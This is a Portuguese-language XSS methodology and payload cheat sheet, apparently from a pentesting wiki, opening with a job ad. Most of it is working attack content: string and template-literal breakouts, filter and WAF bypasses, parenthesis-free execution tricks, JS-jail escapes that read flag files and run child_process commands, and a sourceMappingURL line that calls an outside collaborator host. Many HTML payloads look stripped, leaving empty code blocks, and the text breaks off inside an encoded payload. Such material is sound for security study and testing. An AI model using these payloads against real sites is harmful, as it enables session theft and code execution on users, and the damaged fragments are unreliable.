# XSS (Cross Site Scripting)
Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluente em polonês escrito e falado é necessário_). {% embed url="https://www.stmcyber.com/careers" %} ## Metodologia 1. Verifique se **qualquer valor que você controla** (_parâmetros_, _caminho_, _cabeçalhos_?, _cookies_?) está sendo **refletido** no HTML ou **usado** pelo código **JS**. 2. **Encontre o contexto** onde está refletido/usado. 3. Se **refletido** 1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload: 1. Em **HTML bruto**: 1. Você pode criar novas tags HTML? 2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`? 3. Você pode contornar proteções? 4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md). 5. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/)? 2. Dentro de uma **tag HTML**: 1. Você pode sair para o contexto HTML bruto? 2. Você pode criar novos eventos/atributos para executar código JS? 3. O atributo onde você está preso suporta execução de JS? 4. Você pode contornar proteções? 3. Dentro do **código JavaScript**: 1. Você pode escapar da tag ``** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**: * Se refletido entre as tags **``**, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não notará que sua tag injetada `` está dentro do código HTML. * Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisaria **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * Se refletido dentro de literais de template, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` * **Codificação Unicode** funciona para escrever **código javascript válido**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Javascript Hoisting Javascript Hoisting refere-se à oportunidade de **declarar funções, variáveis ou classes após serem usadas, para que você possa abusar de cenários onde um XSS está usando variáveis ou funções não declaradas.**\ **Verifique a página a seguir para mais informações:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Javascript Function Várias páginas da web têm endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum de se ver na prática é algo como: `?callback=callbackFunc`. Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificando o valor do parâmetro** (por exemplo, para 'Vulnerable') e procurando no console por erros como: ![](<../../.gitbook/assets/image (711).png>) Caso seja vulnerável, você poderá **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**). No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**: ![](<../../.gitbook/assets/image (747).png>) Algumas funções úteis para isso: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Você também pode tentar **disparar funções Javascript** diretamente: `obj.sales.delOrders`. No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações. Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, a exploração de **Same Origin Method Execution (SOME)** foi desenvolvida: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM Há **código JS** que está usando **inseguramente** alguns **dados controlados por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **Universal XSS** Esses tipos de XSS podem ser encontrados **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de uma aplicação web, mas de **qualquer** **contexto**. Esses tipos de **execução arbitrária de JavaScript** podem até ser abusados para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\ Alguns **exemplos**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## Bypass de WAF codificando imagem ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ## Injetando dentro do HTML bruto Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Basta tentar **refletir** esse **caractere** e verificar se está sendo **codificado em HTML** ou **deletado** ou se está **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\ Para esses casos, também **tenha em mente** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Nota: Um comentário HTML pode ser fechado usando\*\*\*\***** ****`-->`**** ****ou \*\*\*\*****`--!>`**_ Nesse caso, e se nenhuma lista negra/branca for usada, você poderia usar payloads como: ```html ``` Mas, se a lista negra/branca de tags/atributos estiver sendo usada, você precisará **forçar quais tags** você pode criar.\ Uma vez que você tenha **localizado quais tags são permitidas**, você precisará **forçar atributos/eventos** dentro das tags válidas encontradas para ver como você pode atacar o contexto. ### Força bruta de Tags/Eventos Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi descoberta como maliciosa pelo WAF. Uma vez que você tenha descoberto quais tags pode usar, você pode **forçar todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento de antes). ### Tags personalizadas Se você não encontrou nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar naquele objeto** e **executar** o código: ``` /?search=#x ``` ### Blacklist Bypasses Se algum tipo de blacklist estiver sendo usada, você pode tentar contorná-la com alguns truques bobos: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Note que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload**, isso **não funcionará**, mas você pode **misturá-los dentro do payload**. **Usando codificação Hex e Octal com `javascript:`** Você pode usar **Hex** e **Octal encode** dentro do atributo `src` de `iframe` (pelo menos) para declarar **tags HTML para executar JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS em "Tags não exploráveis" (input oculto, link, canônico, meta) De [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **agora é possível abusar de inputs ocultos com:** ```html
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``` De [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de acesso. Aqui está o vetor: ```markup ``` **A carga útil de XSS será algo como isto: `" accesskey="x" onclick="alert(1)" x="`** ### Bypasses de Blacklist Vários truques com o uso de diferentes codificações já foram expostos nesta seção. Volte **para aprender onde você pode usar:** * **Codificação HTML (tags HTML)** * **Codificação Unicode (pode ser código JS válido):** `\u0061lert(1)` * **Codificação URL** * **Codificação Hex e Octal** * **Codificação de dados** **Bypasses para tags e atributos HTML** Leia os [Bypasses de Blacklist da seção anterior](./#blacklist-bypasses). **Bypasses para código JavaScript** Leia a [blacklist de bypass de JavaScript da seção seguinte](./#javascript-bypass-blacklists-techniques). ### CSS-Gadgets Se você encontrou um **XSS em uma parte muito pequena** da web que requer algum tipo de interação (talvez um pequeno link no rodapé com um elemento onmouseover), você pode tentar **modificar o espaço que esse elemento ocupa** para maximizar as probabilidades de ativar o link. Por exemplo, você poderia adicionar algum estilo no elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Mas, se o WAF estiver filtrando o atributo de estilo, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo > .test {display:block; color: blue; width: 100%\} e > \#someid {top: 0; font-family: Tahoma;} Agora você pode modificar nosso link e trazê-lo para a forma > \ Esse truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Injetando dentro do código JavaScript Nestes casos, sua **entrada** vai ser **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`. ### Escapando a tag \` você poderia facilmente **escapar fechando a tag ` ``` Note que neste exemplo **não fechamos nem mesmo a aspa simples**. Isso ocorre porque **a análise HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para entender e executar os scripts incorporados é realizada apenas depois. ### Dentro do código JS Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, porque se houver erros, o código JS não será executado: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permite **expressões JS embutidas** usando a sintaxe `${ ... }`.\ Portanto, se você descobrir que sua entrada está sendo **refletida** dentro de uma string JS que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**: Isso pode ser **abusado** usando: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Execução de código codificado ```markup ``` **Javascript dentro de um comentário** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript sem parênteses** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Chamada de função arbitrária (alert)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **Vulnerabilidades DOM** Há **código JS** que está usando **dados controlados de forma insegura por um atacante** como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.\ **Devido à extensão da explicação sobre** [**vulnerabilidades DOM, ela foi movida para esta página**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Lá você encontrará uma **explicação detalhada sobre o que são vulnerabilidades DOM, como são provocadas e como explorá-las**.\ Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering). ### Atualizando Self-XSS ### Cookie XSS Se você pode acionar um XSS enviando a carga útil dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, você pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso, você pode usar o ataque de cookie tossing: {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md) {% endcontent-ref %} Você pode encontrar um grande abuso dessa técnica em [**este post do blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Enviando sua sessão para o admin Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS estiver dentro do perfil do usuário e o admin acessá-lo, ele acionará a vulnerabilidade. ### Espelhamento de Sessão Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que os clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão. Você poderia fazer o **administrador acionar seu self XSS** e roubar seus cookies/sessão. ## Outros Bypasses ### Unicode Normalizado Você poderia verificar se os **valores refletidos** estão sendo **normalizados em unicode** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar proteções. [**Encontre um exemplo aqui**](../unicode-injection/#xss-cross-site-scripting). ### Bypass da flag PHP FILTER\_VALIDATE\_EMAIL ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass Devido à **atribuição em massa do RoR**, as citações são inseridas no HTML e, em seguida, a restrição de citação é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\ Exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` O par "Key","Value" será retornado assim: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Então, o atributo onfocus será inserido e o XSS ocorre. ### Combinações especiais ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS com injeção de cabeçalho em uma resposta 302 Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso **não é trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil. Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\ Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`. ### Apenas Letras, Números e Pontos Se você conseguir indicar o **callback** que o javascript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](./#javascript-function) para descobrir como abusar desse comportamento. ### Tipos de Conteúdo ` ``` A resposta é: * **módulo** (padrão, nada a explicar) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS…) juntos em um arquivo **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** Permite melhorar a sintaxe de importação ```html ``` Esse comportamento foi usado em [**este relatório**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval para abusar que pode acionar XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Este recurso é principalmente para resolver alguns problemas causados pela pré-renderização. Funciona assim: ```html ``` ### Web Content-Types to XSS (De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? não está na lista, mas acho que vi isso em um CTF) * application/rss+xml (desligado) * application/atom+xml (desligado) Em outros navegadores, outros **`Content-Types`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário: ```xml hello ``` ### Padrões de Substituição Especiais Quando algo como **`"some {{template}} data".replace("{{template}}", )`** é usado. O atacante pode usar [**substituições de string especiais**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Por exemplo, em [**este relatório**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário. ### Cache do Chrome para XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### Escape de Prisões XS Se você tiver apenas um conjunto limitado de caracteres para usar, verifique estas outras soluções válidas para problemas de XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Se **tudo está indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário: * Usando import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Acessando `require` indiretamente [De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são encapsulados pelo Node.js dentro de uma função, assim: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` Portanto, se a partir desse módulo pudermos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} De maneira semelhante ao exemplo anterior, é possível **usar manipuladores de erro** para acessar o **wrapper** do módulo e obter a função **`require`**: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Ofuscação & Bypass Avançado * **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * Mais sofisticação JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) 